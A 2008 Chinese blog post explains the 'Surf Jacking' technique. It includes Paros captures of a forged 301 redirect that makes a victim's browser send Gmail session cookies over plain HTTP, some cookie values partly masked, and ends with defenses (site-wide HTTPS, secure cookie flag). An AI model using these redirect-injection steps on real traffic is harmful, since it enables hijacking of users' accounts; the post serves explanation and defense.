又一个猥琐的技巧:Surf Jacking
|
来源:http://hi.baidu.com/aullik5/ 作者:刺 发布时间:2008-08-13
|
|
这个技巧是今天EnableSecurity发出来的。
前提条件是能够截获流量。具体来说,就是能监听上行流量,可以修改下行流量。方法可以通过arp欺骗、DNS欺骗、无线监听等实现。
有的人可能会说,都能截获流量了,还有什么不能做的。
确实,能够监听和篡改流量了,就可以做很多事情,比如修改软件自动升级的2进制包,可以arp挂马,可以插入跨站脚本,可以做SSL中间人攻击。
但是我们这里讨论的是威胁。直接挂马或者篡改升级软件,可能会受到种种环境的限制,也有一定的成功率。而SSL中间人攻击,则会跳出一个证书已改变的提示。
除开上面说的这些更火辣的手段,想要从https包里抠点东西出来,是非常困难的,所以目前很多网站比如网银等都普遍采用https加密网络传输过程,以避免敏感信息被监听。
这种 Surf Jacking 攻击,实际上就是在针对某些使用了https的站点时候,由于加密,所以直接监听无法获取cookie,而使用surf jacking强制用户去访问某个攻击者希望用户访问的非https页面,然后在这个过程中窃取用户的明文cookie。
从网络攻击上来说,是具有一定积极意义的,所以作者paper的题目叫做: "HTTPS will not save you"
攻击原理是利用了HTTP协议里的一些跳转,比如:HTTP返回号为 301、302、303、307等,如果附带一个Location 字段,就会然让浏览器跳转到那个地址。这个过程也可以利用一些JS来跳转实现。
那么这个攻击过程就很清楚了 1. 浏览器访问某网站A 2. 攻击者篡改HTTP response包为301号返回,然后location指向某个https站点B的一个非https页面 3. 浏览器收到301号跳转,开始访问B的非https页面 4. 攻击者截获浏览器访问B的cookie
以gmail举例,我用Paros手动实现了这一过程 当选择gmail可以使用非https连接时:
GET http://www.sohu.com/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Host: www.sohu.com Proxy-Connection: Keep-Alive Cookie: YYID=2DC607514FBD27AEF10C6AE4E5B0220A; SUV=0806181151361975
HTTP/1.1 301 Moved Permanently Location: http://mail.google.com/mail/?ui=1 Cache-Control: private Content-Length: 0
接下来浏览器自动跳转去访问SOHU
GET http://mail.google.com/mail/?ui=1 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Cookie: GX=DQAAAH4AAABKxMCllKJ33pvig35klAbsrxxxxVf1bmZXEb-orDnAtd5Fxh8cM-rjchZQr7MTfaMROOMSdjp55NulIYiR64J_Fl4Ker3VHxxxFZHySwgmqUexxxsi82j3WwE1yixrkKgm_gSEWEgVY8U61CDUl5xxxxT1fMN4g6QIfTs-_PN1ow; PREF=ID=d69d5f428c1xcaa1:TM=1216179046:LM=1218520262:GM=1:S=leRExWWER-JNb9li; rememberme=true; SID=DQAAAHsAAAC5jzTYYblOMBmxxxyawMlMqn5f8j_rAepYYhs29woApxxxxxmRb5U1sFrV8An3DOBuBz8MkmLAyufJBuPJhMFreWbd-gJtHwqUnoFFhOoZW783kTxzZT-brQMRqEiLGuFZJRIYDMsIyXT5-efmIxxxxx8lGZzIlU7SbzpzrWLaa_Q Proxy-Connection: Keep-Alive Host: mail.google.com
HTTP/1.1 200 OK Set-Cookie: S=gmail=3cTytL0AlPxzgpe-kyrTXg:gmail_yj=FXSizI3oTL-n1ENxiysVIA:gmproxy=8ioHBdizXTU:gmproxy_yj=EECeLN9Oqfg:gmproxy_yj_sub=vXLDg3tzUm8; Path=/mail Set-Cookie: GMAIL_AT=xn3j2u5xew8txxxxxxxxuj8i5k4zbq; Path=/mail Set-Cookie: GMAIL_HELP=hosted:0;Path=/ Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: text/html; charset=UTF-8 Date: Tue, 12 Aug 2008 07:51:01 GMT Server: GFE/1.3
一切都是通过HTTP协议,是明文可见的。
我在测试过程中,发现在选择“在本台计算机上保存帐户”时候,才能完成这样的攻击,否则新开浏览器窗口,就算重定向到gmail,也会跳转到google登录入口去。想来也是由于session cookie和stored cookie的问题。
这种攻击也是具有 局限性的。因为他要求能够在目标网站的域下存在一个能够用http访问的页面,可以是图片或者是css之类,如下:
主站可能是 https://www.fvck.com/index.htm https://www.fvck.com/fvck.php?id=fvckbaidu
https加密的部分是没有问题的,但是如果该域下存在一个非https的东东,就会让整个域处于风险中
比如存在一个图片可以直接访问 http://www.fvck.com/fvck.jpg
那么利用Surf Jacking强制用户直接去访问
关于"Surf Jacking"的修正分析和一些细节问题
今天晚些时候看到木瓜在blog中指出我前篇文章里提到的局限性不存在的问题,我又重新做了几次测试,发现确实是这么回事,但是这里还有些细微的地方需要明晰一下。
首先,因为cookie是只针对域的,和是否是http还是https无关(除了cookie标记为 secure flag),所以即便是目标网站全站都使用了https,我们也可以通过伪造http请求来欺骗浏览器,让浏览器发送cookie。
先勾上gmail里只允许https访问的选项:
如下:
正常的surf jacking:
GET http://www.baidu.com/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Host: www.baidu.com Proxy-Connection: Keep-Alive Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1; BDSTAT=d7b696a29856a99b8018cd481c49ff83b059362bca5c10384743fbf2b0117772; BD_UTK_DVT=1; BDTIP=1215783899; BDUSS=ZtcjdSeWNKQn5xNGpz......
HTTP/1.1 301 Moved Permanently Location: http://mail.google.com/mail/?ui=1 Cache-Control: private Content-Length: 0
GET http://mail.google.com/mail/?ui=1 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Cookie: GXSP=S; S=gmail=RDS-f2sELkDIQBXTwhRP8g:gmail_yj=Qq5TkzIBOhEO4zmXoyhx1A:gmproxy=UW9D_swGb_s:gmproxy_yj=f8GBnMVjCTM:gmproxy_yj_sub=y45fb75LRSw; TZ=-480; SID=DQAAAHoAAADkfcVmPLBi6tXXC0LiAR2M3Js6NAxIB3dc1fHXTYzibMTdCGPevS3YCX24mVl03pf_mnBLcoKYG9yNuizcwgDAE4Xl7qGzk8MH5CUHhzdnvarGZtzXTAn_cHbzzPI2jyCVhReiuYyfgiQCa2g3kAoyXboO9_9QdxRsL3ymexB7uA; GMAIL_HELP=hosted:0 Proxy-Connection: Keep-Alive Host: mail.google.com
这个时候cookie是发送出来的
而若访问某个不存在的页面
GET http://www.baidu.com/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Host: www.baidu.com Proxy-Connection: Keep-Alive Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1; BDSTAT=d7b696a29856a99b8018cd481c49ff83b059362bca5c10384743fbf2b0117772; BD_UTK_DVT=1; BDTIP=1215783899; BDUSS=ZtcjdSeWNKQn5xNGpzNGNhYVJ5WUtlOXRoS2JINVN2d......
HTTP/1.1 301 Moved Permanently Location: http://mail.google.com/fvck Cache-Control: private Content-Length: 0
GET http://mail.google.com/fvck HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Cookie: TZ=-480; SID=DQAAAHoAAADkfcVmPLBi6tXXC0LiAR2M3Js6NAxIB3dc1fHXTYzibMTdCGPevS3YCX24mVl03pf_mnBLcoKYG9yNuizcwgDAE4Xl7qGzk8MH5CUHhzdnvarGZtzXTAn_cHbzzPI2jyCVhReiuYyfgiQCa2g3kAoyXboO9_9QdxRsL3ymexB7uA; PREF=ID=d73fbea1cce4392a:NW=1:TM=1218557317:LM=1218557317:GM=1:S=UoyYLQEOE9o_Juix; GMAIL_HELP=hosted:0 Proxy-Connection: Keep-Alive Host: mail.google.com
HTTP/1.1 404 Not Found Date: Tue, 12 Aug 2008 16:12:51 GMT Content-Type: text/html; charset=UTF-8 Server: gws Content-Length: 1352
可以看到cookie也发送出来了。
所以我前文提到的局限性中的"需要目标网站里存在一个非HTTP页面"的条件是不存在的。
实际上这里不是我今天要讲的重点,重点是关于session cookie和persistent cookie的问题
如果在登录GMAIL的时候选择“在本计算机上保存帐户”
则会选择使用本地存储cookie(stored cookie 或叫做 persistent cookie)。
如果不选择,则使用的是session cookie,里面包含了session id. 如果浏览器进程结束了,那么session cookie就销毁了。
在我的IE 6中测试,如果使用本地存储cookie,那么在使用surf jacking技术时,新开浏览器窗口的后是能捕获到cookie的。如我上篇文章里的例子。
但是如果是使用的session cookie,则在新开IE6浏览器窗口里是抓不到cookie的,因为IE6新开窗口是启动了一个新的IE进程,而这个新的IE进程是无法获取之前IE进程里的http session的。
如下: GET http://www.sohu.com/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Host: www.sohu.com Proxy-Connection: Keep-Alive Cookie: SOHUHOMETAB=visit:3; TurnAD9=visit:2; TurnAD351=visit:1; TurnAD119=visit:2; TurnAD118=visit:2; TurnAD10=visit:1; TurnAD120=visit:1; TurnAD11=visit:1; TurnAD349=visit:2; TurnAD350=visit:2; TurnAD352=visit:1; FULL=w:1; LIUMEITI101=w:1; LIUMEITI102=w:1; BOOKTURN=w:1; _BOO......
HTTP/1.1 301 Moved Permanently Location: http://mail.google.com/mail/?ui=1 Cache-Control: private Content-Length: 0
GET http://mail.google.com/mail/?ui=1 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Host: mail.google.com Proxy-Connection: Keep-Alive
没有cookie发送出去。
然后会跳到google登录页面
可见在IE6环境下,如果target使用的是session cookie,那么要攻击成功,就需要被攻击者使用同一个IE进程去访问新的网站。
比如用户先登录了GMAIL,然后在这个窗口里去访问www.baidu.com,结果response页面被surf jacking。 这个时候由于该浏览器进程里的session cookie还没有销毁,所以可以重新获取到,而发送新的request到gmail的时候,就会带上这个session cookie了(该过程已验证)。
对于IE7 的环境,如果我没有记错的话,整个IE7只有一个浏览器进程,新开tab页还是属于这个进程的,所以从enablesecurity的视频演示来看,应该是能获取到前一个tab页的这个session cookie的。不过我没有安装IE7,所以没有进一步验证了。
对于IE8 ,及其beta2,好像对tab这部分有些改动,比如增加了tab process,有了virtual tab的机制,具体影响如何还要等正式出来以后再测试测试。
Surf Jacking的意义在于可以突破https,获取https里保护的一些敏感数据。
而对抗方法最有意义的应该是在http包中只发送部分cookie,而关键cookie则只能在https包里出现。gmail正是这样做的。
http://www.fvck.com/fvck.jpg 就能获得该域的cookie了。
根据enblesecurity给出的防范建议是,全站都使用https加密,以及在cookie中增加secure标识。在cookie中增加secure标识后,会强制该cookie只能在https下发送,就可避免敏感cookie泄露的问题了。
相关的链接:
Tool: http://surfjack.googlecode.com/ Short paper: http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf Screencast: http://www.vimeo.com/1507697
[1] https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Perry
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|